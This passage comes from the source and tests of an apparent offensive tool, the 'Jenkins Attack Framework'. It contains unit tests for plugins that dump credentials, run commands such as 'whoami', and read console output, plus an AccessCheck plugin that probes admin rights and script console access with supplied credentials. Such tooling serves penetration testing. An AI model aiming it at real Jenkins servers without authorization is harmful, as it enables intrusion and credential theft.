args_usage = self._format_actions_usage(args, groups) 79 | args_parts = re.findall(part_regexp, args_usage) 80 | 81 | # helper for wrapping lines 82 | def get_lines(parts, indent, prefix=None): 83 | lines = [] 84 | line = [] 85 | if prefix is not None: 86 | line_len = len(prefix) - 1 87 | else: 88 | line_len = len(indent) - 1 89 | for part in parts: 90 | if line_len + 1 + len(part) > text_width and line: 91 | lines.append(indent + " ".join(line)) 92 | line = [] 93 | line_len = len(indent) - 1 94 | line.append(part) 95 | line_len += len(part) + 1 96 | if line: 97 | lines.append(indent + " ".join(line)) 98 | if prefix is not None: 99 | lines[0] = lines[0][len(indent) :] 100 | return lines 101 | 102 | # if prog is short, follow it with optionals or positionals 103 | if len(prefix) + len(prog) <= 0.75 * text_width: 104 | indent = " " * (len(prefix) + len(prog) + 1) 105 | if args_parts: 106 | lines = get_lines([prog] + args_parts, indent, prefix) 107 | else: 108 | lines = [prog] 109 | 110 | # if prog is long, put it on its own line 111 | else: 112 | indent = " " * len(prefix) 113 | lines = get_lines(args_parts, indent) 114 | if len(lines) > 1: 115 | lines = [] 116 | lines.extend(get_lines(args_parts, indent)) 117 | lines = [prog] + lines 118 | 119 | # join lines into usage 120 | usage = "\n".join(lines) + "\n" 121 | 122 | return "%s%s\n\n" % (prefix, usage) 123 | -------------------------------------------------------------------------------- /tests/test_WhoAmI.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_WhoAmI import WhoAmI, WhoAmIParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class WhoAmITest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "WhoAmI" 23 | self.TestParserClass = WhoAmIParser 24 | self.TestClass = WhoAmI 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59321/", "-a", user_bad], 31 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 32 | 1, 33 | ) 34 | 35 | def test_valid_url_bad_protocol(self): 36 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 37 | 38 | with DummyWebServer(): 39 | self.basic_test_harness( 40 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59322/", "-a", user_bad], 41 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 42 | 1, 43 | ) 44 | 45 | def test_valid_url_and_protocol(self): 46 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 47 | 48 | with DummyWebServer(): 49 | self.basic_test_harness( 50 | ["jaf.py", self.testcommand, "-s", "http://127.0.0.1:59322/", "-a", user_bad], 51 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 52 | 1, 53 | ) 54 | 55 | def test_valid_jenkins_invalid_creds(self): 56 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 57 | 58 | self.basic_test_harness( 59 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad], 60 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 61 | 1, 62 | ) 63 | 64 | def test_valid_jenkins_anonymous_creds(self): 65 | """Make sure that calling with valid jenkins (but no creds)""" 66 | 67 | self.basic_test_harness( 68 | ["jaf.py", self.testcommand, "-s", server], 69 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 70 | 1, 71 | ) 72 | 73 | def test_valid_jenkins_valid_unprivileged_creds(self): 74 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 75 | 76 | self.basic_test_harness( 77 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess], 78 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 79 | 1, 80 | ) 81 | 82 | def test_valid_jenkins_valid_read_no_job_creds(self): 83 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 84 | 85 | self.basic_test_harness( 86 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access], 87 | [r'\w+: \[.*"authenticated"'], 88 | 1, 89 | ) 90 | 91 | def test_valid_jenkins_valid_read_job_creds(self): 92 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 93 | 94 | self.basic_test_harness( 95 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access], 96 | [r'\w+: \[.*"authenticated"'], 97 | 1, 98 | ) 99 | 100 | def test_valid_jenkins_valid_normal_creds(self): 101 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 102 | 103 | self.basic_test_harness( 104 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal], 105 | [r'\w+: \[.*"authenticated"'], 106 | 1, 107 | ) 108 | 109 | def test_valid_jenkins_valid_admin_creds(self): 110 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 111 | 112 | self.basic_test_harness(["jaf.py", self.testcommand, "-s", server, "-a", user_admin]) 113 | 114 | 115 | class WhoAmIParserTest(unittest.TestCase, TestFramework): 116 | def setUp(self): 117 | self.testcommand = "WhoAmI" 118 | self.TestClass = WhoAmI 119 | self.TestParserClass = WhoAmIParser 120 | 121 | def test_no_args(self): 122 | """Ensure that calling with no arguments results in help output and not an error""" 123 | 124 | self.basic_test_harness( 125 | ["jaf.py", self.testcommand], 126 | [ 127 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 128 | r"Jenkins Attack Framework", 129 | r"positional arguments:", 130 | ], 131 | ) 132 | 133 | 134 | if __name__ == "__main__": 135 | unittest.main() 136 | -------------------------------------------------------------------------------- /tests/test_DumpCreds.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_DumpCreds import DumpCreds, DumpCredsParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class DumpCredsTest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "DumpCreds" 23 | self.TestParserClass = DumpCredsParser 24 | self.TestClass = DumpCreds 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59321/", "-a", user_bad], 31 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 32 | 1, 33 | ) 34 | 35 | def test_valid_url_bad_protocol(self): 36 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 37 | 38 | with DummyWebServer(): 39 | self.basic_test_harness( 40 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59322/", "-a", user_bad], 41 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 42 | 1, 43 | ) 44 | 45 | def test_valid_url_and_protocol(self): 46 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 47 | 48 | with DummyWebServer(): 49 | self.basic_test_harness( 50 | ["jaf.py", self.testcommand, "-s", "http://127.0.0.1:59322/", "-a", user_bad], 51 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 52 | 1, 53 | ) 54 | 55 | def test_valid_jenkins_invalid_creds(self): 56 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 57 | 58 | self.basic_test_harness( 59 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad], 60 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 61 | 1, 62 | ) 63 | 64 | def test_valid_jenkins_anonymous_creds(self): 65 | """Make sure that calling with valid jenkins (but no creds)""" 66 | 67 | self.basic_test_harness( 68 | ["jaf.py", self.testcommand, "-s", server], 69 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 70 | 1, 71 | ) 72 | 73 | def test_valid_jenkins_valid_unprivileged_creds(self): 74 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 75 | 76 | self.basic_test_harness( 77 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess], 78 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 79 | 1, 80 | ) 81 | 82 | def test_valid_jenkins_valid_read_no_job_creds(self): 83 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 84 | 85 | self.basic_test_harness( 86 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access], 87 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 88 | 1, 89 | ) 90 | 91 | def test_valid_jenkins_valid_read_job_creds(self): 92 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 93 | 94 | self.basic_test_harness( 95 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access], 96 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 97 | 1, 98 | ) 99 | 100 | def test_valid_jenkins_valid_normal_creds(self): 101 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 102 | 103 | self.basic_test_harness( 104 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal], 105 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 106 | 1, 107 | ) 108 | 109 | def test_valid_jenkins_valid_admin_creds(self): 110 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 111 | 112 | self.basic_test_harness(["jaf.py", self.testcommand, "-s", server, "-a", user_admin]) 113 | 114 | 115 | class DumpCredsParserTest(unittest.TestCase, TestFramework): 116 | def setUp(self): 117 | self.testcommand = "DumpCreds" 118 | self.TestClass = DumpCreds 119 | self.TestParserClass = DumpCredsParser 120 | 121 | def test_no_args(self): 122 | """Ensure that calling with no arguments results in help output and not an error""" 123 | 124 | self.basic_test_harness( 125 | ["jaf.py", self.testcommand], 126 | [ 127 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 128 | r"Jenkins Attack Framework", 129 | r"positional arguments:", 130 | ], 131 | ) 132 | 133 | 134 | if __name__ == "__main__": 135 | unittest.main() 136 | -------------------------------------------------------------------------------- /libs/JAF/plugin_AccessCheck.py: -------------------------------------------------------------------------------- 1 | import threading 2 | 3 | import requests.exceptions as req_exc 4 | 5 | from libs import jenkinslib 6 | 7 | from .BasePlugin import BasePlugin 8 | 9 | 10 | class AccessCheck(BasePlugin): 11 | """Class for managing AccessCheck SubCommand""" 12 | 13 | def __init__(self, args): 14 | super().__init__(args) 15 | 16 | access_checks = ["read", "build", "admin", "script", "scriptler"] 17 | 18 | self._validate_jenkins_server_accessible() 19 | 20 | for cred in self.args.credentials: 21 | username = self._get_username(cred) 22 | 23 | threads = [] 24 | thread_number = min(self.args.thread_number, len(access_checks)) 25 | 26 | server = self._get_jenkins_server(cred) 27 | 28 | if not server.can_read_jenkins(): 29 | if len(self.args.credentials) == 1: 30 | # Only one credential so we can just bail with a proper full error 31 | self.logging.fatal( 32 | "%s: Invalid Credentials or unable to access Jenkins server.", username 33 | ) 34 | else: 35 | print( 36 | "{0}: Invalid Credentials or unable to access Jenkins server.".format( 37 | username 38 | ) 39 | ) 40 | 41 | continue 42 | 43 | for _ in range(thread_number): 44 | t = threading.Thread(target=self._get_user_check_access, args=(server, username)) 45 | t.start() 46 | threads.append(t) 47 | 48 | for job in access_checks: 49 | self.jobs_queue.put(job) 50 | 51 | for _ in range(len(access_checks)): 52 | result = self.results_queue.get() 53 | if result: 54 | print(result) 55 | 56 | for _ in range(thread_number): 57 | self.jobs_queue.put(None) 58 | 59 | for t in threads: 60 | t.join() 61 | 62 | def _get_user_check_access(self, server, username): 63 | error = False 64 | 65 | while True: 66 | access_type = self.jobs_queue.get() 67 | 68 | if access_type is None: 69 | break 70 | 71 | # We had an auth error, consume tasks, but don't make any more requests. 72 | if error: 73 | self.results_queue.put(None) 74 | self.jobs_queue.task_done() 75 | continue 76 | 77 | try: 78 | if access_type == "script": 79 | self.results_queue.put( 80 | username 81 | + " can Access Script Console: " 82 | + str(server.can_access_script_console()) 83 | ) 84 | elif access_type == "admin": 85 | self.results_queue.put( 86 | username + " has some Administrative Access: " + str(server.is_admin()) 87 | ) 88 | elif access_type == "build": 89 | self.results_queue.put( 90 | username + " can Create Job: " + str(server.can_create_job()) 91 | ) 92 | elif access_type == "read": 93 | self.results_queue.put( 94 | username + " can View Jenkins: " + str(server.can_read_jenkins()) 95 | ) 96 | elif access_type == "scriptler": 97 | if server.can_access_scriptler(): 98 | self.results_queue.put(username + " can Access Scriptler: True") 99 | else: 100 | self.results_queue.put(None) 101 | 102 | except jenkinslib.JenkinsException as ex: 103 | error = True 104 | 105 | if "[403]" in str(ex).split("\n")[0]: 106 | self.logging.error("%s authentication failed or no access", username) 107 | else: 108 | self.logging.error( 109 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 110 | % ( 111 | ( 112 | self.server_url.netloc 113 | if len(self.server_url.netloc) > 0 114 | else self.args.server 115 | ), 116 | username, 117 | str(ex).split("\n")[0], 118 | ) 119 | ) 120 | 121 | except (req_exc.SSLError, req_exc.ConnectionError): 122 | error = True 123 | 124 | self.logging.error( 125 | "Unable to connect to: " 126 | + ( 127 | self.server_url.netloc 128 | if len(self.server_url.netloc) > 0 129 | else self.args.server 130 | ) 131 | ) 132 | 133 | except Exception: 134 | error = True 135 | self.logging.exception("") 136 | 137 | self.jobs_queue.task_done() 138 | 139 | if error: # So we have consistent exit codes on major error 140 | exit(1) 141 | 142 | 143 | class AccessCheckParser: 144 | def cmd_AccessCheck(self): 145 | """Handles parsing of AccessCheck Subcommand arguments""" 146 | 147 | self._create_contextual_parser( 148 | "AccessCheck", "Get Users Rough Level of Access on Jenkins Server" 149 | ) 150 | self._add_common_arg_parsers(allows_threading=True, allows_multiple_creds=True) 151 | 152 | args = self.parser.parse_args() 153 | 154 | self._validate_server_url(args) 155 | self._validate_thread_number(args) 156 | self._validate_timeout_number(args) 157 | self._validate_output_file(args) 158 | 159 | return self._handle_authentication(args) 160 | -------------------------------------------------------------------------------- /tests/test_RunCommand.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_RunCommand import RunCommand, RunCommandParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class RunCommandTest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "RunCommand" 23 | self.TestParserClass = RunCommandParser 24 | self.TestClass = RunCommand 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | [ 31 | "jaf.py", 32 | self.testcommand, 33 | "-s", 34 | "https://127.0.0.1:59321/", 35 | "-a", 36 | user_bad, 37 | "whoami", 38 | ], 39 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 40 | 1, 41 | ) 42 | 43 | def test_valid_url_bad_protocol(self): 44 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 45 | 46 | with DummyWebServer(): 47 | self.basic_test_harness( 48 | [ 49 | "jaf.py", 50 | self.testcommand, 51 | "-s", 52 | "https://127.0.0.1:59322/", 53 | "-a", 54 | user_bad, 55 | "whoami", 56 | ], 57 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 58 | 1, 59 | ) 60 | 61 | def test_valid_url_and_protocol(self): 62 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 63 | 64 | with DummyWebServer(): 65 | self.basic_test_harness( 66 | [ 67 | "jaf.py", 68 | self.testcommand, 69 | "-s", 70 | "http://127.0.0.1:59322/", 71 | "-a", 72 | user_bad, 73 | "whoami", 74 | ], 75 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 76 | 1, 77 | ) 78 | 79 | def test_valid_jenkins_invalid_creds(self): 80 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 81 | 82 | self.basic_test_harness( 83 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad, "whoami"], 84 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 85 | 1, 86 | ) 87 | 88 | def test_valid_jenkins_anonymous_creds(self): 89 | """Make sure that calling with valid jenkins (but no creds)""" 90 | 91 | self.basic_test_harness( 92 | ["jaf.py", self.testcommand, "-s", server, "whoami"], 93 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 94 | 1, 95 | ) 96 | 97 | def test_valid_jenkins_valid_unprivileged_creds(self): 98 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 99 | 100 | self.basic_test_harness( 101 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess, "whoami"], 102 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 103 | 1, 104 | ) 105 | 106 | def test_valid_jenkins_valid_read_no_job_creds(self): 107 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 108 | 109 | self.basic_test_harness( 110 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access, "whoami"], 111 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 112 | 1, 113 | ) 114 | 115 | def test_valid_jenkins_valid_read_job_creds(self): 116 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 117 | 118 | self.basic_test_harness( 119 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access, "whoami"], 120 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 121 | 1, 122 | ) 123 | 124 | def test_valid_jenkins_valid_normal_creds(self): 125 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 126 | 127 | self.basic_test_harness( 128 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal, "whoami"], 129 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 130 | 1, 131 | ) 132 | 133 | def test_valid_jenkins_valid_admin_creds(self): 134 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 135 | 136 | self.basic_test_harness( 137 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, "whoami"] 138 | ) 139 | 140 | 141 | class RunCommandParserTest(unittest.TestCase, TestFramework): 142 | def setUp(self): 143 | self.testcommand = "RunCommand" 144 | self.TestClass = RunCommand 145 | self.TestParserClass = RunCommandParser 146 | 147 | def test_no_args(self): 148 | """Ensure that calling with no arguments results in help output and not an error""" 149 | 150 | self.basic_test_harness( 151 | ["jaf.py", self.testcommand], 152 | [ 153 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 154 | r"Jenkins Attack Framework", 155 | r"positional arguments:", 156 | ], 157 | ) 158 | 159 | 160 | if __name__ == "__main__": 161 | unittest.main() 162 | -------------------------------------------------------------------------------- /tests/test_AccessCheck.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_AccessCheck import AccessCheck, AccessCheckParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class AccessCheckTest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "AccessCheck" 23 | self.TestParserClass = AccessCheckParser 24 | self.TestClass = AccessCheck 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59321/", "-a", user_bad], 31 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 32 | 1, 33 | ) 34 | 35 | def test_valid_url_bad_protocol(self): 36 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 37 | 38 | with DummyWebServer(): 39 | self.basic_test_harness( 40 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59322/", "-a", user_bad], 41 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 42 | 1, 43 | ) 44 | 45 | def test_valid_url_and_protocol(self): 46 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 47 | 48 | with DummyWebServer(): 49 | self.basic_test_harness( 50 | ["jaf.py", self.testcommand, "-s", "http://127.0.0.1:59322/", "-a", user_bad], 51 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 52 | 1, 53 | ) 54 | 55 | def test_valid_jenkins_invalid_creds(self): 56 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 57 | 58 | self.basic_test_harness( 59 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad], 60 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 61 | 1, 62 | ) 63 | 64 | def test_valid_jenkins_anonymous_creds(self): 65 | """Make sure that calling with valid jenkins (but no creds)""" 66 | 67 | self.basic_test_harness( 68 | ["jaf.py", self.testcommand, "-s", server], 69 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 70 | 1, 71 | ) 72 | 73 | def test_valid_jenkins_valid_unprivileged_creds(self): 74 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 75 | 76 | self.basic_test_harness( 77 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess], 78 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 79 | 1, 80 | ) 81 | 82 | def test_valid_jenkins_valid_read_no_job_creds(self): 83 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 84 | 85 | self.basic_test_harness( 86 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access], 87 | [ 88 | r".* can View Jenkins: True", 89 | r".* can Create Job: False", 90 | r".* some Administrative Access: False", 91 | r".* can Access Script Console: False", 92 | ], 93 | ) 94 | 95 | def test_valid_jenkins_valid_read_job_creds(self): 96 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 97 | 98 | self.basic_test_harness( 99 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access], 100 | [ 101 | r".* can View Jenkins: True", 102 | r".* can Create Job: False", 103 | r".* some Administrative Access: False", 104 | r".* can Access Script Console: False", 105 | ], 106 | ) 107 | 108 | def test_valid_jenkins_valid_normal_creds(self): 109 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 110 | 111 | self.basic_test_harness( 112 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal], 113 | [ 114 | r".* can View Jenkins: True", 115 | r".* can Create Job: True", 116 | r".* some Administrative Access: False", 117 | r".* can Access Script Console: False", 118 | ], 119 | ) 120 | 121 | def test_valid_jenkins_valid_admin_creds(self): 122 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 123 | 124 | self.basic_test_harness( 125 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin], 126 | [ 127 | r".* can View Jenkins: True", 128 | r".* can Create Job: True", 129 | r".* some Administrative Access: True", 130 | ], 131 | ) 132 | 133 | 134 | class AccessCheckParserTest(unittest.TestCase, TestFramework): 135 | def setUp(self): 136 | self.testcommand = "AccessCheck" 137 | self.TestClass = AccessCheck 138 | self.TestParserClass = AccessCheckParser 139 | 140 | def test_no_args(self): 141 | """Ensure that calling with no arguments results in help output and not an error""" 142 | 143 | self.basic_test_harness( 144 | ["jaf.py", self.testcommand], 145 | [ 146 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 147 | r"Jenkins Attack Framework", 148 | r"positional arguments:", 149 | ], 150 | ) 151 | 152 | 153 | if __name__ == "__main__": 154 | unittest.main() 155 | -------------------------------------------------------------------------------- /tests/test_ConsoleOutput.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | 4 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 5 | from libs.JAF.plugin_ConsoleOutput import ConsoleOutput, ConsoleOutputParser 6 | 7 | from .configuration import ( 8 | server, 9 | user_admin, 10 | user_bad, 11 | user_noaccess, 12 | user_normal, 13 | user_read_job_access, 14 | user_read_no_job_access, 15 | ) 16 | from .helpers import DummyWebServer, TestFramework 17 | 18 | 19 | class ConsoleOutputTest(unittest.TestCase, TestFramework): 20 | def setUp(self): 21 | warnings.simplefilter("ignore", ResourceWarning) 22 | self.testcommand = "ConsoleOutput" 23 | self.TestParserClass = ConsoleOutputParser 24 | self.TestClass = ConsoleOutput 25 | 26 | def test_invalid_url(self): 27 | """Make sure that calling with invalid url fails gracefully""" 28 | 29 | self.basic_test_harness( 30 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59321/", "-a", user_bad], 31 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 32 | 1, 33 | ) 34 | 35 | def test_valid_url_bad_protocol(self): 36 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 37 | 38 | with DummyWebServer(): 39 | self.basic_test_harness( 40 | ["jaf.py", self.testcommand, "-s", "https://127.0.0.1:59322/", "-a", user_bad], 41 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 42 | 1, 43 | ) 44 | 45 | def test_valid_url_and_protocol(self): 46 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 47 | 48 | with DummyWebServer(): 49 | self.basic_test_harness( 50 | ["jaf.py", self.testcommand, "-s", "http://127.0.0.1:59322/", "-a", user_bad], 51 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 52 | 1, 53 | ) 54 | 55 | def test_valid_jenkins_invalid_creds(self): 56 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 57 | 58 | self.basic_test_harness( 59 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad], 60 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 61 | 1, 62 | ) 63 | 64 | def test_valid_jenkins_anonymous_creds(self): 65 | """Make sure that calling with valid jenkins (but no creds)""" 66 | 67 | self.basic_test_harness( 68 | ["jaf.py", self.testcommand, "-s", server], 69 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 70 | 1, 71 | ) 72 | 73 | def test_valid_jenkins_valid_unprivileged_creds(self): 74 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 75 | 76 | self.basic_test_harness( 77 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess], 78 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 79 | 1, 80 | ) 81 | 82 | def test_valid_jenkins_valid_read_no_job_creds(self): 83 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 84 | 85 | self.basic_test_harness( 86 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_no_job_access], 87 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 88 | 1, 89 | ) 90 | 91 | def test_valid_jenkins_valid_read_job_creds(self): 92 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 93 | 94 | self.basic_test_harness( 95 | ["jaf.py", self.testcommand, "-s", server, "-a", user_read_job_access], [r"Job: "] 96 | ) 97 | 98 | def test_valid_jenkins_valid_normal_creds(self): 99 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 100 | 101 | self.basic_test_harness( 102 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal], [r"Job: "] 103 | ) 104 | 105 | def test_valid_jenkins_valid_admin_creds(self): 106 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 107 | 108 | self.basic_test_harness( 109 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin], [r"Job: "] 110 | ) 111 | 112 | 113 | class ConsoleOutputParserTest(unittest.TestCase, TestFramework): 114 | def setUp(self): 115 | self.testcommand = "ConsoleOutput" 116 | self.TestClass = ConsoleOutput 117 | self.TestParserClass = ConsoleOutputParser 118 | 119 | def test_no_args(self): 120 | """Ensure that calling with no arguments results in help output and not an error""" 121 | 122 | self.basic_test_harness( 123 | ["jaf.py", self.testcommand], 124 | [ 125 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 126 | r"Jenkins Attack Framework", 127 | r"positional arguments:", 128 | ], 129 | ) 130 | 131 | def test_build_attempts_argument(self): 132 | """Test the --builds argument""" 133 | 134 | self.basic_test_harness( 135 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, "-b", "5"], 136 | [r"Job: "] 137 | ) 138 | 139 | def test_include_failed_argument(self): 140 | """Test the --failed argument""" 141 | 142 | self.basic_test_harness( 143 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, "-f"], 144 | [r"Job: "] 145 | ) 146 | 147 | def test_all_builds_argument(self): 148 | """Test the --builds -1 argument for all builds""" 149 | 150 | self.basic_test_harness( 151 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, "-b", "-1"], 152 | [r"Job: "] 153 | ) 154 | 155 | def test_invalid_build_attempts(self): 156 | """Test invalid build attempts value""" 157 | 158 | self.basic_test_harness( 159 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, "-b", "0"], 160 | [r"Build attempts must be -1 \(for all builds\) or a positive number"], 161 | 1, 162 | ) 163 | 164 | self.basic_test_harness( 165 | ["jaf.py", self.testcommand, "-s", server, 